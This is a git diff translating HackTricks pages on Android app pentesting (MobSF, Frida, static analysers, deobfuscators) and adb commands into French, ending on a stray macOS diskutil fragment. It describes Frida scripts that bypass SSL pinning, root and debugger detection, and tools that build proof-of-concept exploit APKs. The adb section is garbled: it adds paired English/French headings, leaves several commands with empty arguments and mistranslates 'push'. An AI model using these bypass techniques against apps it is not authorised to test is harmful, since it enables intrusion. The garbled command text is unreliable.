+À partir des versions **> 5** d'Android, il démarrera **automatiquement Frida** et définira les paramètres de **proxy** globaux pour **capturer** le trafic. Il ne capturera que le trafic de l'application testée. **Frida** -By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ -MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. +Par défaut, il utilisera également certains scripts Frida pour **contourner la vérification de l'empreinte SSL**, la **détection de root** et la **détection de débogueur** et pour **surveiller les API intéressantes**.\ +MobSF peut également **appeler des activités exportées**, capturer des **captures d'écran** et les **enregistrer** pour le rapport. -To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ -MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). +Pour **démarrer** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les journaux générés par les scripts Frida et "**Live API Monitor**" pour voir toutes les invocations des méthodes accrochées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\ +MobSF vous permet également de charger vos propres **scripts Frida** (pour envoyer les résultats de vos scripts Frida à MobSF, utilisez la fonction `send()`). Il dispose également de **plusieurs scripts pré-écrits** que vous pouvez charger (vous pouvez en ajouter d'autres dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il vous suffit de les **sélectionner**, d'appuyer sur "**Load**" et d'appuyer sur "**Start Instrumentation**" (vous pourrez voir les journaux de ces scripts dans "**Frida Live Logs**"). ![](<../../.gitbook/assets/image (215).png>) -Moreover, you have some Auxiliary Frida functionalities: +De plus, vous disposez de certaines fonctionnalités auxiliaires de Frida : -* **Enumerate Loaded Classes**: It will print all the loaded classes -* **Capture Strings**: It will print all the capture strings while using the application (super noisy) -* **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False. -* **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class. -* **Search Class Pattern**: Search classes by pattern -* **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods. +* **Énumérer les classes chargées** : il affichera toutes les classes chargées +* **Capturer les chaînes de caractères** : il affichera toutes les chaînes de caractères capturées lors de l'utilisation de l'application (très bruyant) +* **Capturer les comparaisons de chaînes de caractères** : pourrait être très utile. Il **affichera les 2 chaînes de caractères comparées** et si le résultat était vrai ou faux. +* **Énumérer les méthodes de classe** : mettez le nom de la classe (comme "java.io.File") et il affichera toutes les méthodes de la classe. +* **Rechercher un modèle de classe** : recherche de classes par modèle +* **Tracer les méthodes de classe** : **tracer** une **classe entière** (voir les entrées et sorties de toutes les méthodes de la classe). N'oubliez pas que par défaut, MobSF trace plusieurs méthodes Android Api intéressantes. -Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**". +Une fois que vous avez sélectionné le module auxiliaire que vous souhaitez utiliser, vous devez appuyer sur "**Start Intrumentation**" et vous verrez toutes les sorties dans "**Frida Live Logs**". **Shell** -Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands: - +Mobsf vous offre également une shell avec quelques commandes **adb**, des commandes **MobSF** et des commandes **shell** courantes en bas de la page d'analyse dynamique. Quelques commandes intéressantes : ``` help shell ls @@ -571,26 +453,24 @@ exported_activities services receivers ``` +**Outils HTTP** -**HTTP tools** +Lorsque le trafic http est capturé, vous pouvez voir une vue peu attrayante du trafic capturé sur "**HTTP(S) Traffic**" en bas ou une vue plus agréable sur "**Start HTTPTools**" en bas vert. À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** à des **proxys** tels que Burp ou Owasp ZAP.\ +Pour ce faire, _allumez Burp -->_ _désactivez Intercept --> dans MobSB HTTPTools sélectionnez la requête_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ -To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). - -Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities. +Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez appuyer sur "**Start Web API Fuzzer**" pour **fuzzer les requêtes http** et rechercher des vulnérabilités. {% hint style="info" %} -After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing: - +Après avoir effectué une analyse dynamique avec MobSF, les paramètres de proxy peuvent être mal configurés et vous ne pourrez pas les corriger à partir de l'interface graphique. Vous pouvez corriger les paramètres de proxy en faisant: ``` adb shell settings put global http_proxy :0 ``` {% endhint %} -### Assisted Dynamic Analysis with Inspeckage +### Analyse Dynamique Assistée avec Inspeckage -You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -This tool with use some **Hooks** to let you know **what is happening in the application** while you perform a **dynamic analysis**. +Vous pouvez obtenir l'outil à partir de [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ +Cet outil utilise des **Hooks** pour vous informer de **ce qui se passe dans l'application** pendant que vous effectuez une **analyse dynamique**. {% content-ref url="inspeckage-tutorial.md" %} [inspeckage-tutorial.md](inspeckage-tutorial.md) @@ -598,213 +478,195 @@ This tool with use some **Hooks** to let you know **what is happening in the app ### [Yaazhini](https://www.vegabird.com/yaazhini/) -This is a **great tool to perform static analysis with a GUI** +C'est un **excellent outil pour effectuer une analyse statique avec une interface graphique** ![](<../../.gitbook/assets/image (527).png>) ### [Qark](https://github.com/linkedin/qark) -This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device. - +Cet outil est conçu pour rechercher plusieurs **vulnérabilités de sécurité liées aux applications Android**, soit dans le **code source** soit dans les **APK empaquetés**. L'outil est également **capable de créer un APK déployable "Proof-of-Concept"** et des **commandes ADB** pour exploiter certaines des vulnérabilités trouvées (activités exposées, intents, tapjacking...). Comme avec Drozer, il n'est pas nécessaire de rooter l'appareil de test. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk qark --java path/to/parent/java/folder qark --java path/to/specific/java/file.java ``` - ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -* Displays all extracted files for easy reference -* Automatically decompile APK files to Java and Smali format -* Analyze AndroidManifest.xml for common vulnerabilities and behavior -* Static source code analysis for common vulnerabilities and behavior - * Device info +* Affiche tous les fichiers extraits pour une référence facile +* Décompile automatiquement les fichiers APK en format Java et Smali +* Analyse AndroidManifest.xml pour les vulnérabilités et comportements courants +* Analyse de code source statique pour les vulnérabilités et comportements courants + * Informations sur l'appareil * Intents - * Command execution - * SQLite references - * Logging references - * Content providers - * Broadcast recievers - * Service references - * File references - * Crypto references - * Hardcoded secrets - * URL's - * Network connections - * SSL references - * WebView references - + * Exécution de commandes + * Références SQLite + * Références de journalisation + * Fournisseurs de contenu + * Récepteurs de diffusion + * Références de service + * Références de fichiers + * Références de cryptographie + * Secrets codés en dur + * URL + * Connexions réseau + * Références SSL + * Références WebView ``` reverse-apk relative/path/to/APP.apk ``` - ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER is a command-line application that can be used in Windows, MacOS X and Linux, that analyzes _.apk_ files in search for vulnerabilities. It does this by decompressing APKs and applying a series of rules to detect those vulnerabilities. +SUPER est une application en ligne de commande qui peut être utilisée sur Windows, MacOS X et Linux, pour analyser les fichiers _.apk_ à la recherche de vulnérabilités. Elle le fait en décompressant les APKs et en appliquant une série de règles pour détecter ces vulnérabilités. -All rules are centered in a `rules.json` file, and each company or tester could create its own rules to analyze what they need. - -Download the latest binaries from in the [download page](https://superanalyzer.rocks/download.html) +Toutes les règles sont centrées dans un fichier `rules.json`, et chaque entreprise ou testeur peut créer ses propres règles pour analyser ce dont il a besoin. +Téléchargez les derniers binaires sur la [page de téléchargement](https://superanalyzer.rocks/download.html). ``` super-analyzer {apk_file} ``` - ### [StaCoAn](https://github.com/vincentcox/StaCoAn) ![](<../../.gitbook/assets/image (62).png>) -StaCoAn is a **crossplatform** tool which aids developers, bugbounty hunters and ethical hackers performing [static code analysis](https://en.wikipedia.org/wiki/Static\_program\_analysis) on mobile applications\*. +StaCoAn est un outil **multiplateforme** qui aide les développeurs, les chasseurs de primes et les hackers éthiques à effectuer une [analyse de code statique](https://en.wikipedia.org/wiki/Static\_program\_analysis) sur les applications mobiles\*. -The concept is that you drag and drop your mobile application file (an .apk or .ipa file) on the StaCoAn application and it will generate a visual and portable report for you. You can tweak the settings and wordlists to get a customized experience. - -Download[ latest release](https://github.com/vincentcox/StaCoAn/releases): +Le concept est que vous faites glisser et déposez votre fichier d'application mobile (un fichier .apk ou .ipa) sur l'application StaCoAn et elle générera un rapport visuel et portable pour vous. Vous pouvez ajuster les paramètres et les listes de mots pour obtenir une expérience personnalisée. +Téléchargez la [dernière version](https://github.com/vincentcox/StaCoAn/releases) : ``` ./stacoan ``` - ### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework) -AndroBugs Framework is an Android vulnerability analysis system that helps developers or hackers find potential security vulnerabilities in Android applications.\ -[Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases) - +AndroBugs Framework est un système d'analyse de vulnérabilités Android qui aide les développeurs ou les hackers à trouver des vulnérabilités de sécurité potentielles dans les applications Android.\ +[Versions pour Windows](https://github.com/AndroBugs/AndroBugs\_Framework/releases) ``` python androbugs.py -f [APK file] androbugs.exe -f [APK file] ``` - ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** is a tool whose main aim is to detect and warn the user about potential malicious behaviours developped by an Android application. +**Androwarn** est un outil dont le but principal est de détecter et d'avertir l'utilisateur des comportements malveillants potentiels développés par une application Android. -The detection is performed with the **static analysis** of the application's Dalvik bytecode, represented as **Smali**, with the [`androguard`](https://github.com/androguard/androguard) library. - -This tool looks for **common behavior of "bad" applications** like: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +La détection est effectuée avec l'**analyse statique** du bytecode Dalvik de l'application, représenté sous forme de **Smali**, avec la bibliothèque [`androguard`](https://github.com/androguard/androguard). +Cet outil recherche les **comportements courants des "mauvaises" applications** tels que : l'exfiltration d'identifiants de téléphonie, l'interception de flux audio/vidéo, la modification de données PIM, l'exécution de code arbitraire... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` - ### [MARA Framework](https://github.com/xtiankisutsa/MARA\_Framework) ![](<../../.gitbook/assets/image (81).png>) -**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. It is a tool that puts together commonly used mobile application reverse engineering and analysis tools, to assist in testing mobile applications against the OWASP mobile security threats. Its objective is to make this task easier and friendlier to mobile application developers and security professionals. +**MARA** est un **F**ramework d'**A**nalyse et de **R**étro-ingénierie d'**A**pplications **M**obiles. C'est un outil qui rassemble des outils couramment utilisés pour la rétro-ingénierie et l'analyse d'applications mobiles, pour aider à tester les applications mobiles contre les menaces de sécurité mobiles OWASP. Son objectif est de rendre cette tâche plus facile et plus conviviale pour les développeurs d'applications mobiles et les professionnels de la sécurité. -It is able to: +Il est capable de : -* Extract Java and Smali code using different tools -* Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs\_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -* Extract private information from the APK using regexps. -* Analyze the Manifest. -* Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) -* Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) +* Extraire du code Java et Smali en utilisant différents outils +* Analyser les APK en utilisant : [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs\_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +* Extraire des informations privées de l'APK en utilisant des expressions régulières. +* Analyser le Manifeste. +* Analyser les domaines trouvés en utilisant : [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) et [whatweb](https://github.com/urbanadventurer/WhatWeb) +* Déobfusquer l'APK via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous -Useful to detect malware: [https://koodous.com/](https://koodous.com) +Utile pour détecter les malwares : [https://koodous.com/](https://koodous.com)
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lisez les tutoriels sur les bugs web3 -🔔 Get notified about new bug bounties +🔔 Soyez informé des nouveaux programmes de primes pour bugs -💬 Participate in community discussions +💬 Participez aux discussions de la communauté -## Obfuscating/Deobfuscating code +## Obfuscation/Déobfuscation de code -Note that depending the service and configuration you use to obfuscate the code. Secrets may or may not ended obfuscated. +Notez que selon le service et la configuration que vous utilisez pour obfusquer le code, les secrets peuvent être obfusqués ou non. ### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) -**ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2. +**ProGuard** est un outil en ligne de commande open source qui réduit la taille, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de détecter et supprimer les instructions inutilisées. ProGuard est un logiciel gratuit distribué sous la licence publique générale GNU, version 2. -ProGuard is distributed as part of the Android SDK and runs when building the application in release mode. +ProGuard est distribué dans le cadre du kit de développement Android et s'exécute lors de la construction de l'application en mode release. -From: [https://en.wikipedia.org/wiki/ProGuard\_(software)](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) +À partir de : [https://en.wikipedia.org/wiki/ProGuard\_(software)](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) ### [DexGuard](https://www.guardsquare.com/dexguard) -Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Trouvez un guide étape par étape pour déobfusquer l'APK dans [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(From that guide) Last time we checked, the Dexguard mode of operation was: +(Dans ce guide) La dernière fois que nous avons vérifié, le mode de fonctionnement de Dexguard était : -* load a resource as an InputStream; -* feed the result to a class inheriting from FilterInputStream to decrypt it; -* do some useless obfuscation to waste a few minutes of time from a reverser; -* feed the decrypted result to a ZipInputStream to get a DEX file; -* finally load the resulting DEX as a Resource using the `loadDex` method. +* charger une ressource en tant que InputStream ; +* alimenter le résultat dans une classe héritant de FilterInputStream pour le décrypter ; +* faire une obfuscation inutile pour faire perdre quelques minutes de temps à un réverseur ; +* alimenter le résultat décrypté dans un ZipInputStream pour obtenir un fichier DEX ; +* enfin, charger le DEX résultant en tant que ressource en utilisant la méthode `loadDex`. ### [DeGuard](http://apk-deguard.com) -**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** +**DeGuard inverse le processus d'obfuscation effectué par les outils d'obfuscation Android. Cela permet de nombreuses analyses de sécurité, notamment l'inspection du code et la prédiction des bibliothèques.** -You can upload an obfuscated APK to their platform. +Vous pouvez télécharger un APK obfusqué sur leur plateforme. ### [Simplify](https://github.com/CalebFenton/simplify) -It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used. +C'est un **déobfuscateur générique pour Android.** Simplify **exécute virtuellement une application** pour comprendre son comportement, puis **essaie d'optimiser le code** pour qu'il se comporte de manière identique mais soit plus facile à comprendre pour un humain. Chaque type d'optimisation est simple et générique, donc peu importe le type spécifique d'obfuscation utilisé. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. +APKiD vous donne des informations sur **comment un APK a été créé**. Il identifie de nombreux **compilateurs**, **packers**, **obfuscateurs** et autres choses étranges. C'est [_PEiD_](https://www.aldeid.com/wiki/PEiD) pour Android. -### Manual +### Manuel -[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) +[Lisez ce tutoriel pour apprendre quelques astuces sur **comment inverser l'obfuscation personnalisée**](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis. +AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate qui comprend la collection des derniers frameworks, tutoriels et laboratoires de différents geeks et chercheurs en sécurité pour la rétro-ingénierie et l'analyse de malwares. ### OWASP {% embed url="https://github.com/OWASP/owasp-mstg%0Ahttps://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication" %} -### Git Repos +### Dépôts Git [https://github.com/riddhi-shree/nullCommunity/tree/master/Android](https://github.com/riddhi-shree/nullCommunity/tree/master/Android)\ [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec) -## References +## Références -For more information visit: +Pour plus d'informations, visitez : -* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) It is a great list of resources -* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course +* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) C'est une excellente liste de ressources +* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Cours rapide sur Android * [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) * [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) -## To Test +## À tester * [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) * [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lisez les tutoriels sur les bugs web3 -🔔 Get notified about new bug bounties +🔔 Soyez informé des nouveaux programmes de primes pour bugs -💬 Participate in community discussions +💬 Participez aux discussions de la communauté
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+* Travaillez-vous diff --git a/mobile-pentesting/android-app-pentesting/adb-commands.md b/mobile-pentesting/android-app-pentesting/adb-commands.md index c9432c6d6..47b06bd3f 100644 --- a/mobile-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-pentesting/android-app-pentesting/adb-commands.md @@ -1,24 +1,4 @@ - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -**Adb is usually located in:** - +**Adb se trouve généralement dans :** ```bash #Windows C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe @@ -26,41 +6,209 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe #MacOS /Users//Library/Android/sdk/platform-tools/adb ``` +# Connexion -**Information obtained from:** [**http://adbshell.com/**](http://adbshell.com) +## Connect to a device via TCP/IP -# Connection +## Se connecter à un appareil via TCP/IP +```bash +adb connect ``` + +## Connect to a device via USB + +## Se connecter à un appareil via USB + +```bash adb devices ``` -This will list the connected devices; if "_**unathorised**_" appears, this means that you have to **unblock** your **mobile** and **accept** the connection. +## Connect to a device as root -This indicates to the device that it has to start and adb server in port 5555: +## Se connecter à un appareil en tant que root +```bash +adb root +``` + +# File Management + +# Gestion de fichiers + +## Push a file to the device + +## Envoyer un fichier vers l'appareil + +```bash +adb push +``` + +## Pull a file from the device + +## Récupérer un fichier depuis l'appareil + +```bash +adb pull +``` + +## Install an APK + +## Installer un APK + +```bash +adb install +``` + +## Uninstall an APK + +## Désinstaller un APK + +```bash +adb uninstall +``` + +# App Management + +# Gestion d'applications + +## List all installed packages + +## Lister toutes les applications installées + +```bash +adb shell pm list packages +``` + +## List all installed packages and their path + +## Lister toutes les applications installées et leur chemin + +```bash +adb shell pm list packages -f +``` + +## List all system packages + +## Lister toutes les applications système + +```bash +adb shell pm list packages -s +``` + +## List all third-party packages + +## Lister toutes les applications tierces + +```bash +adb shell pm list packages -3 +``` + +## List all disabled packages + +## Lister toutes les applications désactivées + +```bash +adb shell pm list packages -d +``` + +## List all enabled packages + +## Lister toutes les applications activées + +```bash +adb shell pm list packages -e +``` + +## Get package information + +## Obtenir des informations sur une application + +```bash +adb shell dumpsys package +``` + +## Launch an app + +## Lancer une application + +```bash +adb shell monkey -p -c android.intent.category.LAUNCHER 1 +``` + +## Stop an app + +## Arrêter une application + +```bash +adb shell am force-stop +``` + +## Clear app data + +## Effacer les données d'une application + +```bash +adb shell pm clear +``` + +## Grant a permission + +## Accorder une permission + +```bash +adb shell pm grant +``` + +## Revoke a permission + +## Révoquer une permission + +```bash +adb shell pm revoke +``` + +# Miscellaneous + +# Divers + +## Take a screenshot + +## Prendre une capture d'écran + +```bash +adb shell screencap +``` + +## Record a screen video + +## Enregistrer une vidéo de l'écran + +```bash +adb shell screenrecord +``` +``` +adb devices +``` +Voici comment lister les appareils connectés ; si "_**unauthorized**_" apparaît, cela signifie que vous devez **débloquer** votre **mobile** et **accepter** la connexion. + +Cela indique à l'appareil qu'il doit démarrer un serveur adb sur le port 5555 : ``` adb tcpip 5555 ``` - -Connect to that IP and that Port: - +Se connecter à cette adresse IP et ce port : ``` adb connect : ``` - -If you get an error like the following in a Virtual Android software (like Genymotion): - +Si vous obtenez une erreur comme celle-ci dans un logiciel Android virtuel (comme Genymotion): ``` adb server version (41) doesn't match this client (36); killing... ``` +Cela est dû au fait que vous essayez de vous connecter à un serveur ADB avec une version différente. Essayez simplement de trouver le binaire adb que le logiciel utilise (allez dans `C:\Program Files\Genymobile\Genymotion` et recherchez adb.exe) -It's because you are trying to connect to an ADB server with a different version. Just try to find the adb binary the software is using (go to `C:\Program Files\Genymobile\Genymotion` and search for adb.exe) - -## Several devices - -Whenever you find **several devices connected to your machine** you will need to **specify in which one** you want to run the adb command. +## Plusieurs appareils +Chaque fois que vous trouvez **plusieurs appareils connectés à votre machine**, vous devrez **spécifier sur lequel** vous voulez exécuter la commande adb. ```bash adb devices List of devices attached @@ -73,22 +221,18 @@ adb -s 127.0.0.1:5555 shell x86_64:/ # whoami root ``` +## Tunnelisation de port -## Port Tunneling - -In case the **adb** **port** is only **accessible** from **localhost** in the android device but **you have access via SSH**, you can **forward the port 5555** and connect via adb: - +Dans le cas où le **port adb** n'est **accessible** que depuis **localhost** sur l'appareil Android mais que **vous avez accès via SSH**, vous pouvez **rediriger le port 5555** et vous connecter via adb: ```bash ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 adb connect 127.0.0.1:5555 ``` +# Gestionnaire de paquets -# Packet Manager - -## Install/Uninstall - -### adb install \[option] \ +## Installer/Désinstaller +### adb install \[option] \ ``` adb install test.apk ``` @@ -116,9 +260,19 @@ adb install -d test.apk allow version code downgrade ``` adb install -p test.apk partial application install ``` - ### adb uninstall \[options] \ +Désinstalle l'application spécifiée du périphérique. + +#### Options + +- **-k**: Garde les données et le cache de l'application. + +#### Exemple + +``` +adb uninstall com.example.app +``` ``` adb uninstall com.test.app ``` @@ -126,13 +280,11 @@ adb uninstall com.test.app ``` adb uninstall -k com.test.app Keep the data and cache directories around after package removal. ``` +## Paquets -## Packages - -Prints all packages, optionally only those whose package name contains the text in \. +Affiche tous les paquets, en option seulement ceux dont le nom de paquet contient le texte dans \. ### adb shell pm list packages \[options] \ - ``` adb shell pm list packages ``` @@ -168,55 +320,43 @@ adb shell pm list packages -u #Also include uninstalled packages. ``` adb shell pm list packages --user #The user space to query. ``` - ### adb shell pm path \ -Print the path to the APK of the given . - +Affiche le chemin d'accès à l'APK du .\ donné. ``` adb shell pm path com.android.phone ``` - ### adb shell pm clear \ -Delete all data associated with a package. - +Supprime toutes les données associées à un package. ``` adb shell pm clear com.test.abc ``` - -# File Manager +# Gestionnaire de fichiers ### adb pull \ \[local] -Download a specified file from an emulator/device to your computer. - +Télécharge un fichier spécifié depuis un émulateur/appareil vers votre ordinateur. ``` adb pull /sdcard/demo.mp4 ./ ``` - ### adb push \ \ -Upload a specified file from your computer to an emulator/device. - +Télécharge un fichier spécifié depuis votre ordinateur vers un émulateur/appareil. ``` adb push test.apk /sdcard ``` +# Capture d'écran / Enregistrement d'écran -# Screencapture/Screenrecord - -### adb shell screencap \ - -Taking a screenshot of a device display. +### adb shell screencap \ +Prendre une capture d'écran de l'affichage d'un appareil. ``` adb shell screencap /sdcard/screen.png ``` - ### adb shell screenrecord \[options] \ -Recording the display of devices running Android 4.4 (API level 19) and higher. - +Enregistrement de l'affichage des appareils fonctionnant sous Android 4.4 (niveau d'API 19) et supérieur. ``` adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord --size @@ -225,33 +365,27 @@ adb shell screenrecord --time-limit
+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13
 |   ====================================================
@@ -151,30 +125,26 @@ The command **`diskutil apfs list`** lists the **details of the APFS volumes** a
 [...]